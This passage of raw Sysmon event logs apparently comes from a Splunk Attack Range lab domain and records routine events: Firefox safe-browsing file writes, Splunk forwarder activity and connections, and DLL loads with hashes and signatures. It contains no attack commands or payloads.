15:06:10.027{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Local\Mozilla\Firefox\Profiles\paefi3c0.default-release\safebrowsing-updating\google4\goog-unwanted-proto.metadataMD5=87F3608FDA67FE802E1B5F07C5249F90,SHA256=C7B42FF76D93B5F64E3EF5B234CA0C88E1BE900E89379D9E5C632AB1D7983D8C,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000055134Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:10.027{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Local\Mozilla\Firefox\Profiles\paefi3c0.default-release\safebrowsing-updating\google4\goog-unwanted-proto-1.vlpsetMD5=D41D8CD98F00B204E9800998ECF8427E,SHA256=E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000055133Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:10.027{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Local\Mozilla\Firefox\Profiles\paefi3c0.default-release\safebrowsing-updating\google4\goog-malware-proto.metadataMD5=2825B7114106A05A5C2A069EDCF8F0C8,SHA256=398A9E73662EC579CC71C6CEDA4B3C20C330B1914B8E7103D086B33E851BA122,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000055132Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:10.012{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Local\Mozilla\Firefox\Profiles\paefi3c0.default-release\safebrowsing-updating\google4\goog-malware-proto-1.vlpsetMD5=D41D8CD98F00B204E9800998ECF8427E,SHA256=E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017742Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:06:11.899{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=88A64441E463304E4F023AEA162A97AC,SHA256=447D7F9E3E90372D4CD01EB888DD21D280FF79D7AAAD32F70C2D5492FD98FAC3,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000055187Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:11.127{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=4E81FEFBEF03A291D006F0E5EDCE14C5,SHA256=8E36B4342CAFA931729FC5C5AA291D6050DBA4F5B8F0DE29ECFD84DD8FB652B8,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017743Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:06:12.899{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=52B8029EBEB87C61B16AFEEB78C8C577,SHA256=A3F7415C7EE1CACA7F11B5DDF75DA01EB4A136187C74AC113A45894F004CDA9C,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000055188Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:12.196{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=643093CDDB1FB566DFE62D26C39C9EC2,SHA256=485FAC4D29C418F5C129A124895742FA95C13E41F69461CE46386D97FEF1F080,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017744Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:06:13.945{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=4A0CB99261CE529F4461774188449B2A,SHA256=2921C55EC71EC11F63D08ACA7AA895E03A825C14F7EAAE9356D51D8D533F8B9B,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000055189Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:13.214{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=AF2BC40FA929A15C89BE5899395EAC2E,SHA256=651AA715E64DC81CDD3D330C10205B9E526D2C8AB335399120228CC4B0B03B9A,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000055192Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:14.360{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=71FA5DB1F301D78EAEF882E252060FE4,SHA256=7040D9953630B716AC2BE8DE8CDF9FB2B29244733124C0F59C3D48D9285DD157,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000055191Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:14.360{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=56DFA5A61E937FC1B6C442120CF8E702,SHA256=4D374087B7220E0AC77E336A7B2197C03550D5EAABFD2D411C5500137048C034,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000055190Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:14.245{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=491B6885348E2A81D10660706D85282B,SHA256=69013C53BFA7BF660AE05AEE124FBAAA6C377AC08C7435489C4D4E35976BA457,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 354300x800000000000000017745Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:06:13.440{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50379-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 354300x800000000000000055194Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:13.421{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local63146-false10.0.1.12-8000- 23542300x800000000000000055193Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:15.259{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=8FFF19CF26EF50C6544316887311535F,SHA256=0AD2D995E408E8CDD64A56D13B8235CD2F8846EBD803E053C588E3F5427C0B41,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017746Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:06:15.008{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=A65B23C28E3903869076726E3ACA7D49,SHA256=5D1267C4906FD0D82F9CC7317D168308F69FDEC41BC611EB3D773DAD30A5EB12,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000055195Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:16.274{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=672A74E8CD6A809E2707C657D94D0CD4,SHA256=6B984EF6C61C3F849B1A01265198D44C715A3C00F72127E8D0BA83B75DB90436,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017747Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:06:16.024{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=8DEFFAFF7F4A193F58977932535280FE,SHA256=7FE0F3166B930FAAE49233CBC64A11A082A199DF838126DC3BA9CE51F738403D,IMPHASH=00000000000000000000000000000000falsetrue 734700x800000000000000055291Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:17.996{7BD73061-7469-613B-960B-00000000F001}5856C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\bcrypt.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcrypt.dllMD5=63231EA984BC614584102A96D4F35CB4,SHA256=13C5BD283C01B0D50D8D0D99E88FC67F9234FA14A6860AB2B6EE552199FF6A74,IMPHASH=7C2E79D83754439DC7DE7882DCB4238DtrueMicrosoft WindowsValid 734700x800000000000000055290Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:17.996{7BD73061-7469-613B-960B-00000000F001}5856C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\wkscli.dll10.0.14393.0 (rs1_release.160715-1616)Workstation Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWKSCLI.DLLMD5=3DCBAE237E4E1F0EBE8E7DC053F778C4,SHA256=C3331CCBE71CC98A5F1BC013F1C0218FE194CA7B497DDF706BF9025AB5A7B330,IMPHASH=050C8F7AA588BF04847F59B2EFAE366AtrueMicrosoft WindowsValid 734700x800000000000000055289Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:17.996{7BD73061-7469-613B-960B-00000000F001}5856C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\netutils.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API Helpers DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNETUTILS.DLLMD5=504739A17F3A05531258784275A6F375,SHA256=A931C54C47B454407990241DB12BD209AC219C55F026ADDED427A9E84A409923,IMPHASH=7D1B32891B9173ED71ED6C18DEFEE578trueMicrosoft WindowsValid 734700x800000000000000055288Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:17.996{7BD73061-7469-613B-960B-00000000F001}5856C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\netapi32.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNetApi32.DLLMD5=F55166956AEAD05A141BA7E80B90AB7B,SHA256=B9BCF21D7F7E771C388C469B2611E8946166C62005B56D72421060DABFF7093F,IMPHASH=2D83F1DFF12EFB449C1FCD6634700369trueMicrosoft WindowsValid 734700x800000000000000055287Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:17.995{7BD73061-7469-613B-960B-00000000F001}5856C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\kernel.appcore.dll10.0.14393.2312 (rs1_release.180607-1919)AppModel API HostMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel.appcore.dllMD5=0AF5EF8A7FEFD4B37036B71514FC20CF,SHA256=D4F178583F6F33794D42B4DB11008494E9CD9F069C2AD2CA304DA63F9B5F659C,IMPHASH=94524C03C5380F78283785F1E05E667DtrueMicrosoft WindowsValid 734700x800000000000000055286Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:17.974{7BD73061-7469-613B-960B-00000000F001}5856C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\Wldap32.dll10.0.14393.3269 (rs1_release.190929-1234)Win32 LDAP API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWLDAP32.DLLMD5=12D6C3E8AC705BB42D377C05714F551C,SHA256=E67F6DB96F062A319312C365F1F55B2B38B0F90B77FFDA2522418709CBA45EB3,IMPHASH=D13722FCCB1CDD38974ADB7277D98799trueMicrosoft WindowsValid 734700x800000000000000055285Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:17.974{7BD73061-7469-613B-960B-00000000F001}5856C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Program Files\SplunkUniversalForwarder\bin\vcruntime140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationvcruntime140.dllMD5=0C583614EB8FFB4C8C2D9E9880220F1D,SHA256=6CADB4FEF773C23B511ACC8B715A084815C6E41DD8C694BC70090A97B3B03FB9,IMPHASH=2CB5DA5225E972A08F32D04B8085DC7EtrueMicrosoft CorporationValid 734700x800000000000000055284Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:17.974{7BD73061-7469-613B-960B-00000000F001}5856C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\adsldpc.dll10.0.14393.0 (rs1_release.160715-1616)ADs LDAP Provider C DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationadsldpcMD5=F03FD7F523CFDBB96B0F3B8012FC161D,SHA256=8218E5AC2D7A52A2D50CD8D3CC8AA8CE4E37D1BDECFA62BC2637AA32A01CBA54,IMPHASH=AFF2E9AF6DD20912DC1E604BDBCA3761trueMicrosoft WindowsValid 734700x800000000000000055283Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:17.974{7BD73061-7469-613B-960B-00000000F001}5856C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Program Files\SplunkUniversalForwarder\bin\msvcp140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationmsvcp140.dllMD5=BA72C2F6F465926980ADC2FB7F8B3490,SHA256=86881A7054532019291C162F0A8177980C1C2B45490F7E88543F22915D08D9FF,IMPHASH=ADF99B9EA3A1F76C33522F96772BC4DDtrueMicrosoft CorporationValid 734700x800000000000000055282Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:17.974{7BD73061-7469-613B-960B-00000000F001}5856C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Program Files\SplunkUniversalForwarder\bin\archive.dll-----MD5=98978F08A7A0D24C92FE8DC5287A8258,SHA256=CBB940A38E834C0BE44884C667863F76D6700D564043F90B3EB813370C3174E7,IMPHASH=86B04733169A315F437478D1C9AA6193trueSplunk, Inc.Valid 734700x800000000000000055281Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:17.974{7BD73061-7469-613B-960B-00000000F001}5856C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec.dll-----MD5=D98BAB348C28C8CFCC11EDB575E2557A,SHA256=ADA3F1256B175ECC390F126D2730D7A1AAB5A53F1AF205A7667D8010416602F9,IMPHASH=3295DC2518E43BEF226F8847873D20C2trueSplunk, Inc.Valid 734700x800000000000000055280Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:17.974{7BD73061-7469-613B-960B-00000000F001}5856C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Program Files\SplunkUniversalForwarder\bin\libeay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/libeay32.dllMD5=6445BD4247E3956B244772F3C415585F,SHA256=2B08FC9E160AD0F698226DA3E30A12551E8EBCCA1E7287E3915EC62B58151A78,IMPHASH=838F909F0A52D977E0B8662364FA0BFEtrueSplunk, Inc.Valid 734700x800000000000000055279Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:17.974{7BD73061-7469-613B-960B-00000000F001}5856C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxml2.dll2.9.9libxml2 librarylibxml2-libxml2.dllMD5=0E7B7B3B25A2F094EB3A7BAF471154B8,SHA256=6CFAC8D8D5B7345F2C6CC82CBF8F9DD475881EA260346BE283E52B822F2CCAC1,IMPHASH=6DA659461618DB73B9BD17D114677D20trueSplunk, Inc.Valid 734700x800000000000000055278Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:17.974{7BD73061-7469-613B-960B-00000000F001}5856C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec-openssl.dll-----MD5=F30BB43EC30BE50400780223450492CD,SHA256=867D0453E285A5C29A4EFA039D2399662DCCAC98F88C46B0A41CEFB6B68DD836,IMPHASH=464BF3FDF330E6A15D24CC679EF7F72EtrueSplunk, Inc.Valid 734700x800000000000000055277Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:17.974{7BD73061-7469-613B-960B-00000000F001}5856C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Program Files\SplunkUniversalForwarder\bin\ssleay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/ssleay32.dllMD5=B20FA07A7A61791EE537B5945429E141,SHA256=EF53BC2AB58BC548EFA249B0B8F2E1FBB9D4739EF27B0C67DFF1468D555329D3,IMPHASH=E09B42A7EA1725DA2CD99223AD969C63trueSplunk, Inc.Valid 734700x800000000000000055276Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:17.974{7BD73061-7469-613B-960B-00000000F001}5856C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxslt.dll-----MD5=B8D3119CE62331C6A9B170DA0A608F28,SHA256=7D6C6B7C542B4E67AA468FEB12044E2EE34CE8F8A68C7665D7861F3363B6E66A,IMPHASH=06C8C57E25207671F4639FDBFA0212ECtrueSplunk, Inc.Valid 734700x800000000000000055275Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:17.974{7BD73061-7469-613B-960B-00000000F001}5856C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\activeds.dll10.0.14393.4169 (rs1_release.210107-1130)ADs Router Layer DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationADsMD5=C62947CD1080E3B128B517AE91B22D6D,SHA256=6BB5D8967F822B5B1646DC9069212914D36C4D3D65E086AC0890B6A02112B438,IMPHASH=C7DF3F2CF025F0BEDA797705E4F4AFBBtrueMicrosoft WindowsValid 734700x800000000000000055274Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:17.974{7BD73061-7469-613B-960B-00000000F001}5856C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\ws2_32.dll10.0.14393.3241 (rs1_release_inmarket.190910-1801)Windows Socket 2.0 32-Bit DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationws2_32.dllMD5=06E82905620845A7C185BDEE85CC4140,SHA256=B75C9B080293F85568912BABE749F403144959206F9C6BAB36B628E8F77C5DA0,IMPHASH=76A5AA3DF6083D853F576403C8F841A8trueMicrosoft WindowsValid 734700x800000000000000055273Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:17.974{7BD73061-7469-613B-960B-00000000F001}5856C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\msvcrt.dll7.0.14393.2457 (rs1_release_inmarket.180822-1743)Windows NT CRT DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcrt.dllMD5=0AF8989DD67A135B536CF948E3EFB7EB,SHA256=C693DA0EF4DCF3BC244661B9FD280FE12C3053FDD7B977712C0CF210831B2EF4,IMPHASH=07D6F84E3C8FD0D2C32F9398A0369BAFtrueMicrosoft WindowsValid 734700x800000000000000055272Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:17.974{7BD73061-7469-613B-960B-00000000F001}5856C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\advapi32.dll10.0.14393.4467 (rs1_release.210604-1844)Advanced Windows 32 Base APIMicrosoft® Windows® Operating SystemMicrosoft Corporationadvapi32.dllMD5=A8CDCAC5C32D14ED8AADDF5489FC5D55,SHA256=140F07A8F6780DAFE20CC4FBE86C9332FB2F0C26ED8F49914BD05265C63EF6F1,IMPHASH=B511E4B82A44D3731CDA46A74F5D57EAtrueMicrosoft WindowsValid 734700x800000000000000055271Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:17.974{7BD73061-7469-613B-960B-00000000F001}5856C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\msvcp_win.dll10.0.14393.2999 (rs1_release_inmarket.190520-1518)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcp_win.dllMD5=C50C0CEFA633773AB29572E05834F1FE,SHA256=50178F23AA57B31626614C6C65DA2B6518A64FF684FFA18A0F49C4431DFCBEC5,IMPHASH=5B59892514923CABE9B70CFE22A3F59AtrueMicrosoft WindowsValid 734700x800000000000000055270Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:17.974{7BD73061-7469-613B-960B-00000000F001}5856C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\oleaut32.dll10.0.14393.4402 (rs1_release.210426-1725)OLEAUT32.DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationOLEAUT32.DLLMD5=57B07BF89C63FA60A810FEDE496126CA,SHA256=080632F80FA2A387E5A55C670FFE07C927D553FDDA26F7F8B4156C0C6B20E75E,IMPHASH=8987D71C85BB2C13D3D90194331F962FtrueMicrosoft WindowsValid 734700x800000000000000055269Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:17.974{7BD73061-7469-613B-960B-00000000F001}5856C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\sechost.dll10.0.14393.3808 (rs1_release.200707-2105)Host for SCM/SDDL/LSA Lookup APIsMicrosoft® Windows® Operating SystemMicrosoft Corporationsechost.dllMD5=E6B98644CD3B912C44C39CC0996790A9,SHA256=23BE56E1B8DBA449C0959753175BD15457EC88E93E9E8B86489266347959A6F2,IMPHASH=D6E06125849E8565A50F366A0149FB40trueMicrosoft WindowsValid 734700x800000000000000055268Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:17.974{7BD73061-7469-613B-960B-00000000F001}5856C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\bcryptprimitives.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcryptprimitives.dllMD5=8AAF6E1B14B9210052FFF90E25926D63,SHA256=F2120C8E63EA94F8618B31319A534731C16D8FDD58B0E1E70217D72A39D78353,IMPHASH=BA5C37A1CF8C2730ED1F4DA1587496A5trueMicrosoft WindowsValid 734700x800000000000000055267Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:17.974{7BD73061-7469-613B-960B-00000000F001}5856C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\rpcrt4.dll10.0.14393.4467 (rs1_release.210604-1844)Remote Procedure Call RuntimeMicrosoft® Windows® Operating SystemMicrosoft Corporationrpcrt4.dllMD5=B0C4BF9491FB453B77399E3C56C11DC8,SHA256=66D5D1B3D25D15EA8737C8B2EF83E770BA10931868F24DCACC50936F0A0BAC08,IMPHASH=EB45E6A4165ECBE63E7CA7D14DE0BD8EtrueMicrosoft WindowsValid 734700x800000000000000055266Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:17.974{7BD73061-7469-613B-960B-00000000F001}5856C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\ucrtbase.dll10.0.14393.3659 (rs1_release_1.200410-1813)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationucrtbase.dllMD5=9804D130E8E7178738C2B9808091B427,SHA256=6053B7CC85846F15094475116A8C57BA89FE99FDD1978C54E8A7E2114E318FE3,IMPHASH=57ABD1FDE351971A01E912069E11B44CtrueMicrosoft WindowsValid 734700x800000000000000055265Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:17.974{7BD73061-7469-613B-960B-00000000F001}5856C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\combase.dll10.0.14393.4583 (rs1_release.210730-1850)Microsoft COM for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationCOMBASE.DLLMD5=878EBD02A580FDF8F187100127E6D3A8,SHA256=54E4BADDFBD97CFFF871B6D7316B28872218B92F37C41199F71EB37BC5634216,IMPHASH=0863DD72CA0C3702DB7ACD19A4D5DEB1trueMicrosoft WindowsValid 734700x800000000000000055264Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:17.974{7BD73061-7469-613B-960B-00000000F001}5856C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\ole32.dll10.0.14393.4169 (rs1_release.210107-1130)Microsoft OLE for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationOLE32.DLLMD5=676B0A1FB2A01D19AECB1F19883B6FC4,SHA256=56DEB219840DBAF9DAF645AD5D79AF9AB05F20E688382854DD487F440B257552,IMPHASH=9724475F92787AFC45A3BA458C0DCDC5trueMicrosoft WindowsValid 734700x800000000000000055263Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:17.974{7BD73061-7469-613B-960B-00000000F001}5856C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\gdi32full.dll10.0.14393.4530 (rs1_release.210705-0736)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=9D82D7DBC3D9E0D8E86D10A5B1BF736E,SHA256=270CA1A42ECB4C22E826C1C95924F0014CC99254AB55B7167DA144D45E238E6D,IMPHASH=059EB3BAA45E35C79FAE66F7279059EEtrueMicrosoft WindowsValid 734700x800000000000000055262Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:17.974{7BD73061-7469-613B-960B-00000000F001}5856C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\gdi32.dll10.0.14393.4169 (rs1_release.210107-1130)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft 